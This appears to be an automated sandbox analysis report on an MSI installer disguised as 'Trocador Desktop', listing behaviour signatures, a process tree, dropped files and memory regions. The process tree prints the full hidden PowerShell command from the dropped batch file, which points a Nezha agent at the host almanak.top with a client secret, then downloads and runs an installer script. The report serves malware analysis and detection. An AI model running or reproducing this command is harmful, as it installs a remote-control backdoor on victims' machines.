Analysis

  • max time kernel
    148s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/06/2026, 18:14

General

  • Target
    _TrocadorDesktop%28V1.1.0%29.msi
  • Size 252KB
  • Sample260625-wvb59set7r
  • SHA256 7bda0aa187b2b11edec3f160b80d7e59b5fea34921592c7d9fe7efb3875e89c7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://fastly.jsdelivr.net/gh/nezhahq/agent/

  • exe.dropper

    https://gcore.jsdelivr.net/gh/nezhahq/agent/

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 15 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 56 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\_TrocadorDesktop%28V1.1.0%29.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:5272
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5700
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2744
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 527F4DDD5949F48C39E7952D1FAACD2B
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2384
      • C:\Windows\SysWOW64\ICACLS.EXE
        "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
        3⤵
        • Modifies file permissions
        • System Location Discovery: System Language Discovery
        PID:5876
      • C:\Windows\SysWOW64\EXPAND.EXE
        "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
        3⤵
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:3732
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\files\Trocador.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3744
        • C:\Windows\SysWOW64\net.exe
          net session
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4428
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 session
            5⤵
            • System Location Discovery: System Language Discovery
            PID:4620
        • C:\Windows\SysWOW64\net.exe
          net stop "nezha-agent.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4988
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "nezha-agent.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1364
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 3 /nobreak
          4⤵
          • System Location Discovery: System Language Discovery
          • Delays execution with timeout.exe
          PID:1504
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -NoProfile -Command "[guid]::NewGuid().ToString()"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5964
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -Command "[guid]::NewGuid().ToString()"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:256
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$env:NZ_SERVER='almanak.top:8008'; $env:NZ_TLS='false'; $env:NZ_CLIENT_SECRET='8m79v3v2qGOc3Nm66OuSCpJ1kdPTX18T'; $env:NZ_UUID='54976d20-0600-4620-8295-37545620f2f3'; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Ssl3 -bor [Net.SecurityProtocolType]::Tls -bor [Net.SecurityProtocolType]::Tls11 -bor [Net.SecurityProtocolType]::Tls12; Set-ExecutionPolicy RemoteSigned -Force; Invoke-WebRequest https://raw.githubusercontent.com/nezhahq/scripts/main/agent/install.ps1 -OutFile C:\install.ps1; powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\install.ps1"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5672
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\install.ps1
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:240
            • C:\Windows\SysWOW64\findstr.exe
              "C:\Windows\system32\findstr.exe" /c:option.value
              6⤵
              • System Location Discovery: System Language Discovery
              PID:5720
      • C:\Windows\SysWOW64\ICACLS.EXE
        "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\." /SETINTEGRITYLEVEL (CI)(OI)LOW
        3⤵
        • Modifies file permissions
        • System Location Discovery: System Language Discovery
        PID:1312
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:4136

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 63KB
        • SHA256 c3c8b46e970b0c14c77739e10b1975bc9ede40ee33340f7aac62f328d2b42b11
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 346b1a1a3793adfb3a42219980b872d75306bd27cd8bc077ff1fb186df83115b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 12KB
        • SHA256 1f8c8197fc9bfe7241811e95d398cae362935155bd4c30b2fe13c5e85bb35d3c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        files.cab

        • Path C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\files.cab
        • Size 1KB
        • SHA256 edbf54d51aea9db64a6991fd8cc031621231685591f79fb0ff405c7829aaea29
        • MD5 SHA1 SHA512 TLSH

        Trocador.bat

        • Path C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\files\Trocador.bat
        • Size 1KB
        • SHA256 ea39463537078c5a13ed205c0811be706ab4f0e97bc715420c2ac784861f0c02
        • MD5 SHA1 SHA512 TLSH

        msiwrapper.ini

        • Path C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\msiwrapper.ini
        • Size 1KB
        • SHA256 dcb8650c7fbe5b0ab795bce8515974ee74ff697ba1bc45848f1510ab1a97d4f7
        • MD5 SHA1 SHA512 TLSH

        msiwrapper.ini

        • Path C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\msiwrapper.ini
        • Size 644B
        • SHA256 041cbaa99ecdd7f35a487b9e88e7c75759816d1517c2f8294fc5fb3813d4ee14
        • MD5 SHA1 SHA512 TLSH

        msiwrapper.ini

        • Path C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\msiwrapper.ini
        • Size 1KB
        • SHA256 dd67f32dcbcaa85fab5604c6ce06a90068e5925b72685386cd103f1a58fb23bd
        • MD5 SHA1 SHA512 TLSH

        msiwrapper.ini

        • Path C:\Users\Admin\AppData\Local\Temp\MW-22094e87-56e8-4d03-afd0-adb2e46f7771\msiwrapper.ini
        • Size 1KB
        • SHA256 f8bddae866a37ef09d22677cf323e44de9949c769d6c3fa64b78c57f8f141fe4
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_51j5m4at.cyt.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_51j5m4at.cyt.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        MSID8C2.tmp

        • Path C:\Windows\Installer\MSID8C2.tmp
        • Size 208KB
        • SHA256 0630014e81058bc5976b626865a7d6cf33cc9a8dcad5e6e73c266c0bce9f4abe
        • MD5 SHA1 SHA512 SSDEEP TLSH

        install.ps1

        • Path C:\install.ps1
        • Size 3KB
        • SHA256 8b9e54f5e3a2cd61860d3b91827dc7daf0de93773c132301f6cb8c98482cf6a6
        • MD5 SHA1 SHA512 TLSH

        metadata-2

        • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
        • Size 26.1MB
        • SHA256 a897056826f6068f381b41f9b6f8ff680a2eea3816b531c229c394131cac5189
        • MD5 SHA1 SHA512 SSDEEP TLSH

        {0fed59fd-5027-4cef-a608-e62447be66d2}_OnDiskSnapshotProp

        • Path \??\Volume{d164085c-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{0fed59fd-5027-4cef-a608-e62447be66d2}_OnDiskSnapshotProp
        • Size 6KB
        • SHA256 f1b6e49f7615bf1ed87578d5e0d7e2d383400218094ad92f11a738eab6bf356b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/240-97-0x00000000079C0000-0x0000000007F7A000-memory.dmp

        memory/240-96-0x00000000066B0000-0x00000000066D2000-memory.dmp

        memory/240-98-0x00000000075E0000-0x00000000077A2000-memory.dmp

        memory/256-67-0x0000000005830000-0x0000000005852000-memory.dmp

        memory/256-74-0x0000000006630000-0x000000000667C000-memory.dmp

        memory/256-65-0x0000000005140000-0x0000000005176000-memory.dmp

        memory/256-66-0x00000000058B0000-0x0000000005EFA000-memory.dmp

        memory/256-69-0x00000000060A0000-0x0000000006106000-memory.dmp

        memory/256-68-0x0000000006030000-0x0000000006096000-memory.dmp

        memory/256-72-0x0000000006290000-0x00000000065EB000-memory.dmp

        memory/256-73-0x0000000006600000-0x000000000661E000-memory.dmp

        memory/5672-87-0x0000000007200000-0x000000000720A000-memory.dmp

        memory/5672-79-0x0000000006FF0000-0x0000000007026000-memory.dmp

        memory/5672-90-0x0000000007360000-0x0000000007371000-memory.dmp

        memory/5672-80-0x000000006F740000-0x000000006F78C000-memory.dmp

        memory/5672-88-0x0000000007400000-0x0000000007496000-memory.dmp

        memory/5672-83-0x0000000006FD0000-0x0000000006FF0000-memory.dmp

        memory/5672-86-0x00000000071A0000-0x00000000071BA000-memory.dmp

        memory/5672-85-0x00000000077F0000-0x0000000007E6C000-memory.dmp

        memory/5672-84-0x0000000007040000-0x00000000070E3000-memory.dmp